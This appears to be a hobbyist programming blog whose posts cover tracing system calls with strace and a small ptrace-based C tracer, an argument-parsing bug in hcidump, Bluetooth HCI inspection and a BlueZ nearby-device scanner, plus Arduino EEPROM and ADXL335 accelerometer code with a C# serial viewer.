	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x1]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x1]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7ffff7ff8000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x33]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff8000, [0x63617274732e736c]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff8008, [0x72742e736c202065]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff8010, [0x7274732020656361]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff8018, [0x617274732e656361]) = 0
	write(2, "write(1, \"ls.strace ls.trace s"..., 50) = 50
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x1]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x33]) = 0
	write(2, ") = 51\n", 7) = 7
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x1]) = 0
	write(2, "close(1", 7) = 7
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") "..., 37) = 37
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xb]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7ff8000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
	write(2, "munmap(0x7ffff7ff8000, 4096", 27) = 27
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xb]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") = 0\n", 17) = 17
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x2]) = 0
	write(2, "close(2", 7) = 7
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") "..., 37) = 37
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xe7]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
	write(2, "exit_group(0) "..., 44) = 44
	ptrace(PTRACE_CONT, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=30692, si_status=0, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	exit_group(0) = ?

view raw strace.strace.c hosted with ❤ by GitHub

As we can see the strace use a lot of system calls, but the one of them (ptrace) appears a lot in the log. The ptrace provides a means to get information from the child process (see man ptrace).The following simple program uses the ptrace to trace system calls of ls program

	int
	main() {
	// create a child process
	int pid = fork();
	// if error occurs
	if (0 > pid) {
	printf("Error during forking: %s\n", strerror(errno));
	return 1;
	}
	// child process
	if (0 == pid) {
	ptrace(PTRACE_TRACEME, 0, 0, 0);
	execl("/bin/ls", "ls", NULL);
	}
	// parent process
	int system_call_count = 0;
	int status;
	struct user_regs_struct regs;
	wait(&status);
	while(1407 == status) {
	++system_call_count;
	// get registers
	if (0 != ptrace(PTRACE_GETREGS, pid, 0, &regs))
	printf("Error during ptrace: %s\n", strerror(errno));
	// syscall number is writen in rax register
	printf("%s - syscall %lu\n", syscalls[regs.orig_rax], regs.orig_rax);
	// lets the child to continue his work until next sys call or sys exit
	if (0 != ptrace(PTRACE_SYSCALL, pid, 0, 0) != 0)
	printf("Error during ptrace: %s\n", strerror(errno));
	wait(&status);
	}
	// This not 100% true.
	system_call_count /= 2;
	printf("System call count: %d\n", system_call_count);
	return 0;
	}

view raw trace.c hosted with ❤ by GitHub

We also need to know the names of system calls by their syscall number. We can extract that information from the sources of strace. The file "strace-4.6/linux/x86_64/syscallent.h" contains the information that we need, we can parse it and get the list of system calls arranged by syscall number (see the instructions in the sources).

	#include <stdio.h> // printf
	#include <string.h> // strerror
	#include <errno.h> // errno
	#include <unistd.h> // execl
	#include <sys/ptrace.h> // ptrace
	#include <sys/user.h> // user_regs_struct
	// get from strace sources
	// cat strace-4.6/linux/x86_64/syscallent.h | sed -e 's/\(".*"\)/=\1/' | sed -e 's/^.*=//' | sed -e 's/"\(.*\)".*$/"\1",/'
	//
	char* syscalls[] = {
	"read",
	"write",
	"open",
	"close",
	"stat",
	"fstat",
	"lstat",
	"poll",
	"lseek",
	"mmap",
	"mprotect",
	"munmap",
	"brk",
	"rt_sigaction",
	"rt_sigprocmask",
	"rt_sigreturn",
	"ioctl",
	"pread",
	"pwrite",
	"readv",
	"writev",
	"access",
	"pipe",
	"select",
	"sched_yield",
	"mremap",
	"msync",
	"mincore",
	"madvise",
	"shmget",
	"shmat",
	"shmctl",
	"dup",
	"dup2",
	"pause",
	"nanosleep",
	"getitimer",
	"alarm",
	"setitimer",
	"getpid",
	"sendfile",
	"socket",
	"connect",
	"accept",
	"sendto",
	"recvfrom",
	"sendmsg",
	"recvmsg",
	"shutdown",
	"bind",
	"listen",
	"getsockname",
	"getpeername",
	"socketpair",
	"setsockopt",
	"getsockopt",
	"clone",
	"fork",
	"vfork",
	"execve",
	"_exit",
	"wait4",
	"kill",
	"uname",
	"semget",
	"semop",
	"semctl",
	"shmdt",
	"msgget",
	"msgsnd",
	"msgrcv",
	"msgctl",
	"fcntl",
	"flock",
	"fsync",
	"fdatasync",
	"truncate",
	"ftruncate",
	"getdents",
	"getcwd",
	"chdir",
	"fchdir",
	"rename",
	"mkdir",
	"rmdir",
	"creat",
	"link",
	"unlink",
	"symlink",
	"readlink",
	"chmod",
	"fchmod",
	"chown",
	"fchown",
	"lchown",
	"umask",
	"gettimeofday",
	"getrlimit",
	"getrusage",
	"sysinfo",
	"times",
	"ptrace",
	"getuid",
	"syslog",
	"getgid",
	"setuid",
	"setgid",
	"geteuid",
	"getegid",
	"setpgid",
	"getppid",
	"getpgrp",
	"setsid",
	"setreuid",
	"setregid",
	"getgroups",
	"setgroups",
	"setresuid",
	"getresuid",
	"setresgid",
	"getresgid",
	"getpgid",
	"setfsuid",
	"setfsgid",
	"getsid",
	"capget",
	"capset",
	"rt_sigpending",
	"rt_sigtimedwait",
	"rt_sigqueueinfo",
	"rt_sigsuspend",
	"sigaltstack",
	"utime",
	"mknod",
	"uselib",
	"personality",
	"ustat",
	"statfs",
	"fstatfs",
	"sysfs",
	"getpriority",
	"setpriority",
	"sched_setparam",
	"sched_getparam",
	"sched_setscheduler",
	"sched_getscheduler",
	"sched_get_priority_max",
	"sched_get_priority_min",
	"sched_rr_get_interval",
	"mlock",
	"munlock",
	"mlockall",
	"munlockall",
	"vhangup",
	"modify_ldt",
	"pivot_root",
	"_sysctl",
	"prctl",
	"arch_prctl",
	"adjtimex",
	"setrlimit",
	"chroot",
	"sync",
	"acct",
	"settimeofday",
	"mount",
	"umount",
	"swapon",
	"swapoff",
	"reboot",
	"sethostname",
	"setdomainname",
	"iopl",
	"ioperm",
	"create_module",
	"init_module",
	"delete_module",
	"get_kernel_syms",
	"query_module",
	"quotactl",
	"nfsservctl",
	"getpmsg",
	"putpmsg",
	"afs_syscall",
	"tuxcall",
	"security",
	"gettid",
	"readahead",
	"setxattr",
	"lsetxattr",
	"fsetxattr",
	"getxattr",
	"lgetxattr",
	"fgetxattr",
	"listxattr",
	"llistxattr",
	"flistxattr",
	"removexattr",
	"lremovexattr",
	"fremovexattr",
	"tkill",
	"time",
	"futex",
	"sched_setaffinity",
	"sched_getaffinity",
	"set_thread_area",
	"io_setup",
	"io_destroy",
	"io_getevents",
	"io_submit",
	"io_cancel",
	"get_thread_area",
	"lookup_dcookie",
	"epoll_create",
	"epoll_ctl_old",
	"epoll_wait_old",
	"remap_file_pages",
	"getdents64",
	"set_tid_address",
	"restart_syscall",
	"semtimedop",
	"fadvise64",
	"timer_create",
	"timer_settime",
	"timer_gettime",
	"timer_getoverrun",
	"timer_delete",
	"clock_settime",
	"clock_gettime",
	"clock_getres",
	"clock_nanosleep",
	"exit_group",
	"epoll_wait",
	"epoll_ctl",
	"tgkill",
	"utimes",
	"vserver",
	"mbind",
	"set_mempolicy",
	"get_mempolicy",
	"mq_open",
	"mq_unlink",
	"mq_timedsend",
	"mq_timedreceive",
	"mq_notify",
	"mq_getsetattr",
	"kexec_load",
	"waitid",
	"add_key",
	"request_key",
	"keyctl",
	"ioprio_set",
	"ioprio_get",
	"inotify_init",
	"inotify_add_watch",
	"inotify_rm_watch",
	"migrate_pages",
	"openat",
	"mkdirat",
	"mknodat",
	"fchownat",
	"futimesat",
	"newfstatat",
	"unlinkat",
	"renameat",
	"linkat",
	"symlinkat",
	"readlinkat",
	"fchmodat",
	"faccessat",
	"pselect6",
	"ppoll",
	"unshare",
	"set_robust_list",
	"get_robust_list",
	"splice",
	"tee",
	"sync_file_range",
	"vmsplice",
	"move_pages",
	"utimensat",
	"epoll_pwait",
	"signalfd",
	"timerfd_create",
	"eventfd",
	"fallocate",
	"timerfd_settime",
	"timerfd_gettime",
	"accept4",
	"signalfd4",
	"eventfd2",
	"epoll_create1",
	"dup3",
	"pipe2",
	"inotify_init1",
	"preadv",
	"pwritev",
	"rt_tgsigqueueinfo",
	"perf_event_open",
	"recvmmsg",
	"fanotify_init",
	"fanotify_mark",
	"prlimit64"
	};
	int
	main() {
	// create a child process
	int pid = fork();
	// if error occurs
	if (0 > pid) {
	printf("Error during forking: %s\n", strerror(errno));
	return 1;
	}
	// child process
	if (0 == pid) {
	ptrace(PTRACE_TRACEME, 0, 0, 0);
	execl("/bin/ls", "ls", NULL);
	}
	// parent process
	int system_call_count = 0;
	int status;
	struct user_regs_struct regs;
	wait(&status);
	while(1407 == status) {
	++system_call_count;
	// get registers
	if (0 != ptrace(PTRACE_GETREGS, pid, 0, &regs))
	printf("Error during ptrace: %s\n", strerror(errno));
	// syscall number is writen in rax register
	printf("%s - syscall %lu\n", syscalls[regs.orig_rax], regs.orig_rax);
	// lets the child to continue his work until next sys call or sys exit
	if (0 != ptrace(PTRACE_SYSCALL, pid, 0, 0) != 0)
	printf("Error during ptrace: %s\n", strerror(errno));
	wait(&status);
	}
	// This not 100% true.
	system_call_count /= 2;
	printf("System call count: %d\n", system_call_count);
	return 0;
	}

view raw trace.c hosted with ❤ by GitHub

Strace -- tool for system call tracing

For tracing system calls of a program, there is a "strace" command in Linux. This program comes with the most of Linux distributions. If it is not present in your system, you can download it from http://sourceforge.net/projects/strace/, build and install.
Lets try run the hcidump and see which system calls it use:
    sudo strace -o output hcidump -i hci0
Do some bluetooth related things(search a device) and see the output file

As we can see, hcidump uses socket related system calls(socket, bind, recvmsg and etc...) for getting bluetooth data, ioctl system call(for controlling bluetooth device), write system call (guess why :-) ), poll system call (which used for waiting for a socket IO events).
There is "-e trace=" option, which trace only specified set of system calls, for example
    sudo strace -o output -e trace=socket,write,poll hcidump -i hci0
will trace only system calls socket, write and poll.

And at last there is a good syntax highlighter in the "vim" for strace's output
(In the case if vim doesn't automatically enable it -- :setf strace).

Bug in hcidump

Try to run the following command:

  $ sudo hcidump -i aaa

Instead of giving an error that there is no device with a name "aaa", hcidump uses the "hci0" device. The first thing that comes to mind is maybe hcidump uses "hci0" device by default if the specified device not found, but when I try to run the following:

  $ sudo hcidump -i aaa123

It gives an error:

  Can't open device: No such device

So what is the reason of such behavior. To find out it, I review the argument parsing part of the source code (as hcidump is open source) and find out the following.

To download the source code of hcidump (version 1.42, used in Ubuntu 10.10) 

  $ git clone git://git.kernel.org/pub/scm/bluetooth/bluez-hcidump.git  # get the sources

  $ git checkout -b new 1.42                                    # get the version 1.42

The code of input arguments parsing is located in file "src/hcidump.c" starting at line 1002. The device name's parsing code is located between 1004 1010 lines:

	//1004-1010 lines of src/hcidump.c
	case 'i':
	if (strcasecmp(optarg, "none") && strcasecmp(optarg, "system"))
	device = atoi(optarg + 3);
	else
	device = HCI_DEV_NONE;
	break;

view raw hcidump.c hosted with ❤ by GitHub

As you can see the reason of the unusual behavior is in the following line:
    device = atoi(optarg + 3);
which didn't check the correctness of input (work for "hci[0-9]" like names only).

How to build the latest hcidump.

In the previous article the "hcidump" was used for dumping bluetooth protocol packets. The binary package of "hcidump" is exists for Ubuntu and other widespread Linux distribution, but what about other distributions. For them we need to compile and install it from sources. So the following instructions will be useful:

1)Download the source code from the official site or checkout sources from repository. We will choose the second one, because it contains the latest patches and changes (sometime new bugs :( also ). "hcidump" uses Git source control system, so the git package is needed (Ubuntu: sudo apt-get install git). To check-out the sources run the following
$git clone git://git.kernel.org/pub/scm/bluetooth/bluez-hcidump.git

2)Enter "bluez-hcidump" directory. Now you need to configure the sources and then build them. It uses GNU build system, so we need to follow standard steps.

GNU build system(source: Wikipedia).

Before compiling ensure that you have the latest "BlueZ" library installed.
Steps: 
$ aclocal                                     # Generate "aclocal.m4" file
$ autoheader                              # Generate "config.h.in"
$ autoconf                                  # Generate "configre" file
$ automake --add-missing          # Generate "Makefile.in" file and add missing files
$ ./configure                               # Configure
$ make                                        # Build hcidump
$ make install                             # Install

Now you have the latest hcidump tool.

Bluetooth HCI

There are various protocols used in Bluetooth. One of them is the HCI(Host/Controller interface) protocol, which is used in the communication between the host stack(BlueZ or Affix) and the controller(Bluetooth chip). Today using the "scanner" program from the previous article and the "hcidump" tool we will see how the HCI protocol packets look like. The "hcidump" tool dumps HCI data coming from and going to a Bluetooth controller (Ubuntu users can install it by "sudo apt-get install bluez-hcidump"). To view dumped files we need the wireshark program also (Ubuntu users: sudo apt-get install wireshark).
Run hcidump in background mode and then run the "scanner"
$ sudo hcidump -i hci0 -w dump &
$ ./scanner
By the -i option Bluetooth device is specified and by the -w option the output file is specified.
When "scanner" finish, kill the background hcidump and then open "dump" file with wireshark program:

WireShark

 

In the screenshot you can see two type of HCI packets: HCI_CMD -- computer sends commands to the controller and HCI_EVT -- the controller sends the result. The info column of HCI_CMD packets shows the command sent within a packed. Two type of commands shown in screenshot: "Inquiry" (op code: 0x0401) and "Remote Name Request" (op code: 0x0419). They are the commands sent when the "hci_inquiry" and the "hci_read_remote_name" functions where called(see the source code of "scanner").

The selected packet is a description of the device find by the scanner (as we can see from the fields "BD_ADDR" and "Class of Device" it is a Nokia mobile phone).

Linux and Bluetooth

There are 2 widespread Bluetooth stack implementations in Linux: BlueZ and Affix. Today we will use the BlueZ library for writing a simple "nearby device finder" program. Before you start, make sure you have installed the necessary Bluetooth packages. Ubuntu users can install them by running:
    sudo apt-get install bluez libbluetooth-dev
At first we need to include the following BlueZ header files
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>

To work with a Bluetooth device we need a device id, which can be retrieved by "hci_get_route"  function: if pass NULL argument to "hci_get_route", it will return the id of first available device, or -1 if there isn't any. Now we can use "hci_get_route" function, which search the nearby Bluetooth devices and return basic information about them in a "inquiry_info" structure:

typedef struct {
  bdaddr_t  bdaddr;
  uint8_t   pscan_rep_mode;
  uint8_t   pscan_period_mode;
  uint8_t   pscan_mode;
  uint8_t   dev_class[3];
  uint16_t  clock_offset;
} __attribute__ ((packed)) inquiry_info;

The "bdaddr" member contains the address of a device (it is like a MAC address of network devices, by the way they have the same syntax).
There are 2 functions to convert between strigns and "bdaddr_t" structures.

int str2ba( const char *str, bdaddr_t *ba );
int ba2str( const bdaddr_t *ba, char *str );

The address of remote Bluetooth device is enough to work with it, but the end users usually work with the device names. The "hci_read_remote_name" function retrieve the name of remote device using it's address. But "hci_open_dev" require an open socket. The "hci_open_dev" function opens an appropriate Bluetooth socket. And at last we can use "hci_open_dev" function to get the name and address of the local Bluetooth device.
See the source code for details:

	// Compile using "gcc -o scanner 1.c -lbluetooth" command
	// System
	#include <stdio.h>
	#include <stdlib.h>
	// Bluetooth
	#include <bluetooth/bluetooth.h>
	#include <bluetooth/hci.h>
	#include <bluetooth/hci_lib.h>
	int
	main() {
	// Get bluetooth device id
	int device_id = hci_get_route(NULL); // Passing NULL argument will retrieve the id of first avalaibe device
	if (device_id < 0) {
	printf("Error: Bluetooth device not found");
	exit(1);
	}
	// Get device Information
	struct hci_dev_info device_info;
	if (hci_devinfo(device_id, &device_info) == 0) {
	char device_address[18];
	ba2str(&device_info.bdaddr, device_address);
	printf("Local Device: %s %s\n", device_address, device_info.name);
	}
	// Find nearby devices
	int len = 8; // Search time = 1.28 * len seconds
	int max_rsp = 255; // Return maximum max_rsp devices
	int flags = IREQ_CACHE_FLUSH; // Flush out the cache of previously detected devices.
	inquiry_info* i_infs = (inquiry_info*) malloc(max_rsp * sizeof(inquiry_info));
	int num_rsp = hci_inquiry(device_id, len, max_rsp, NULL, &i_infs, flags); // search
	if (num_rsp < 0) {
	printf("Error: the hci_inquiry fails");
	exit(1);
	}
	printf("Found %d remote device\n", num_rsp);
	// Open socket
	int socket = hci_open_dev(device_id);
	if (socket < 0) {
	printf("Error: Cannot open socket");
	exit(1);
	}
	int i;
	for (i = 0; i < num_rsp; i++) {
	inquiry_info* remote_device = i_infs + i;
	char remote_device_address[18];
	char remote_device_name[300];
	// Get HEX address
	ba2str(&(remote_device->bdaddr), remote_device_address);
	// Get device name
	if (hci_read_remote_name(socket, &(remote_device->bdaddr), sizeof(remote_device_name), remote_device_name, 0) < 0) {
	strcpy(remote_device_name, "[unknown]"); // If cannot retrieve the name then set it "unknown"
	}
	// print address and name
	printf("Remote Device: %s %s\n", remote_device_address, remote_device_name);
	}
	// Close the socket
	close(socket);
	// Remove allocated memory
	free(i_infs);
	return 0;
	}

view raw 1.c hosted with ❤ by GitHub

Arduino and EEPROM

  EEPROM is a non-volatile memory on the Arduino. It's like a HDD in the computer, can hold the data when board is turned off, but has too little memory :(. The EEPROM size of Arduino Duemilanove's Atmega328 is only 1024 byte.
  Arduino IDE has simple EEPROM library, which has only 2 functions: "read" and "write". Lets write a demo program which will save to EEPROM anything received from serial port and if the 's' symbol is received it will return all stored symbols.

	#include <EEPROM.h> // include library
	int sz; // size of received data
	void setup()
	{
	Serial.begin(9600);
	sz = 0;
	}
	void loop()
	{
	if(0 < Serial.available())
	{
	int r = Serial.read();
	if ('s' == r) {
	Serial.println("\nYour history");
	for(int i=0; i<sz; ++i)
	Serial.print(EEPROM.read(i));
	Serial.println();
	}
	EEPROM.write(sz++, r);
	}
	delay(200);
	}

view raw 1.pde hosted with ❤ by GitHub

ADXL335 Accelerometer

Accelerometer is a sensor that measure linear acceleration. Today we will use ADXL335 accelerometer, we will write a program to display the measured values of acceleration of all 3 axes.

ADXL335 on a board(Manufactured by Sparkfun.com)

You can see axis scheme on the board, the x and y axises directions are clear, and the z axis direction is point out of the board. Remember this sensor has a sensing range of +/-3g, so you can't measure a higher accelerations :). But it is not a big disadvantage, because the calculation shows that more than 100 km/h we can get during 1 second of 3g acceleration. If you want to check it but you are lazy to do, you can use http://www.wolframalpha.com(3 * gravitational acceleration * 1 second in km/h).
The interface of this device is analog: The voltages on X(Y,Z) port depends on the linear acceleration throughout X(Y,Z) axis. The Arduino board has 6 analog-in ports, we can use 3 of them(0,1,2) to connect to X,Y,Z ports of ADXL335.

Analog ports

So lets open the Arduino IDE and write a simple program, which will periodically read the values on analog ports and send trough the Serial port.

	const int xpin = 0;
	const int ypin = 1;
	const int zpin = 2;
	void setup()
	{
	Serial.begin(9600);
	}
	void loop()
	{
	Serial.print("BEG");
	Serial.print("X"); Serial.print(analogRead(xpin));
	Serial.print("Y"); Serial.print(analogRead(ypin));
	Serial.print("Z"); Serial.print(analogRead(zpin));
	Serial.println();
	delay(50);
	}

view raw 1.pde hosted with ❤ by GitHub

In this program analogRead function read the voltage on the pin and return the integer value between 0 and 1023.
On the computer side we will read the information coming through Serial port an show the values on 3 horizontal progress bars.

This is C# code of program

	using System;
	using System.Collections.Generic;
	using System.ComponentModel;
	using System.Data;
	using System.Drawing;
	using System.Linq;
	using System.Text;
	using System.Windows.Forms;
	using System.IO.Ports;
	using System.Threading;
	namespace ADXL335
	{
	public partial class Form1 : Form
	{
	public Form1()
	{
	InitializeComponent();
	}
	private SerialPort serial_port_;
	private Thread thread_;
	private void refresh_button_Click(object sender, EventArgs e)
	{
	portlist_comboBox.Items.Clear();
	foreach (string s in SerialPort.GetPortNames())
	{
	portlist_comboBox.Items.Add(s);
	}
	}
	private void connect_button_Click(object sender, EventArgs e)
	{
	if ("Connect" == connect_button.Text)
	{
	if (-1 == portlist_comboBox.SelectedIndex)
	{
	MessageBox.Show("Select com port");
	return;
	}
	string port_name = portlist_comboBox.SelectedItem.ToString();
	serial_port_ = new SerialPort(port_name, 9600);
	serial_port_.Open();
	thread_ = new Thread(read_serial_port);
	thread_.Start();
	connect_button.Text = "Disconnect";
	}
	else
	{
	try
	{
	thread_.Abort();
	serial_port_.Close();
	}
	catch
	{
	}
	connect_button.Text = "Connect";
	}
	}
	private void read_serial_port()
	{
	while (serial_port_.IsOpen)
	{
	try
	{
	string str = serial_port_.ReadLine();
	set_axis(str);
	}
	catch (TimeoutException) { }
	}
	}
	delegate void SetTextCallback(string newText);
	private string str_;
	private void set_axis(string text)
	{
	if (this.X_progressBar.InvokeRequired)
	{
	SetTextCallback d = new SetTextCallback(set_axis);
	this.Invoke(d, new object[] { text });
	}
	else
	{
	str_ += text;
	int i1 = str_.IndexOf("BEG");
	int i2 = str_.IndexOf("BEG", 1 + i1);
	if ((-1 != i1) && (-1 != i2))
	{
	string current = str_.Substring(0, i2);
	current = current.Substring(current.IndexOf("BEG"));
	str_ = str_.Substring(i2);
	int beg_index = current.IndexOf("BEG");
	int x_index = current.IndexOf("X");
	int y_index = current.IndexOf("Y");
	int z_index = current.IndexOf("Z");
	if ((0 != beg_index) || (3 != x_index) || (-1 == y_index) || (-1 == z_index))
	{
	MessageBox.Show("Error " + current + ", beg_index = " + beg_index.ToString() + ", x_index = " + x_index.ToString() + ", y_index = " + y_index.ToString() + ", z_index = " + z_index.ToString());
	return;
	}
	int x = Convert.ToInt32(current.Substring(x_index + 1, y_index - x_index - 1));
	int y = Convert.ToInt32(current.Substring(y_index + 1, z_index - y_index - 1));
	int z = Convert.ToInt32(current.Substring(z_index + 1));
	if (x > X_progressBar.Maximum) x = X_progressBar.Maximum;
	if (y > Y_progressBar.Maximum) y = Y_progressBar.Maximum;
	if (z > Z_progressBar.Maximum) z = Z_progressBar.Maximum;
	if (x < X_progressBar.Minimum) x = X_progressBar.Minimum;
	if (y < Y_progressBar.Minimum) y = Y_progressBar.Minimum;
	if (z < Z_progressBar.Minimum) z = Z_progressBar.Minimum;
	X_progressBar.Value = x;
	Y_progressBar.Value = y;
	Z_progressBar.Value = z;
	}
	}
	}
	private void Form1_FormClosed(object sender, FormClosedEventArgs e)
	{
	try
	{
	serial_port_.Close();
	}
	catch
	{
	}
	}
	}
	}

view raw 1.cs hosted with ❤ by GitHub

Be careful, connect ADXL335 to the Arduino board, before connecting them to the PC, otherwise the board will hang and only solution is reconnecting.

This is a short video how it runs.